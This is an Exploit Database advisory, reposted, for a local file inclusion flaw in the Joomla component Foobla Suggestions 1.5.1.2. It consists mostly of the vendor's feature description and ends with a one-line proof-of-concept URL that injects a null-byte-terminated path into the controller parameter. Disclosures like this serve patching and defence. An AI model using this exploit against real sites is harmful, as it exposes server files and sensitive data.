Joomla! Component Foobla Suggestions 1.5.1.2 – Local File Inclusion

• Exploit Database
• 19 阅读

• 作者： Chip d3 bi0s
  日期： 2010-04-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/12120/

• -----------------------------------------------------------------------------------------
  Joomla Component Foobla Suggestions Local File Inclusion
  -----------------------------------------------------------------------------------------
  
  Author		: Chip D3 Bi0s
  Email		: chipdebios[alt+64]gmail.com
  Date		: April 08, 2010
  Critical Lvl	: Moderate
  Impact		: Exposure of sensitive information
  Where		: From Remote
  ---------------------------------------------------------------------------
  
  Affected software description:
  ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  
  Application 	: foobla Suggestions
  version 	: 1.5.1.2
  Developer 	: foobla
  License 	: GPLtype: Commercial
  Date Added	: Dec 21, 2009
  Download	: http://foobla.com/products/featured-joomla-extensions/foobla-suggestions-for-joomla.html
  
  Description 	:
  
  Have you ever used Uservoice? Would you like to have something similar on Joomla but with unlimited features and no monthly fee?
  
  The foobla Suggestions allows you to collect ideas, suggestions, and votes from your cutomers. For more information check out the features list, screenshots, and demo.
  
  FEATURES
  
  * GNU/GPL license. Purchase, install in unlimited domains and get professional support.
  * AJAX base for frontend.
  * Allow to import ideas from Uservoice account.
  * Bad words filter.
  * Export database to XML format.
  * Import to database from XML backup file.
  * Flexible user permissioning.
  * Easy to implement, ONE-CLICK Installation package: 01 component (backend & frontend) + 02 plugin + 01 module.
  * Express Install Tools in backend.
  * One-Click upgrade to newer version.
  * Translation Manager built-in.
  ---------------------------------------------------------------------------
  
  Poc/Exploit:
  ~~~~~~~~~
  
  http://127.0.0.1/[path]/index.php?option=com_foobla_suggestions&controller=[LFI]%00
  
  
  
  
  +++++++++++++++++++++++++++++++++++++++
  #[!] Produced in South America
  +++++++++++++++++++++++++++++++++++++++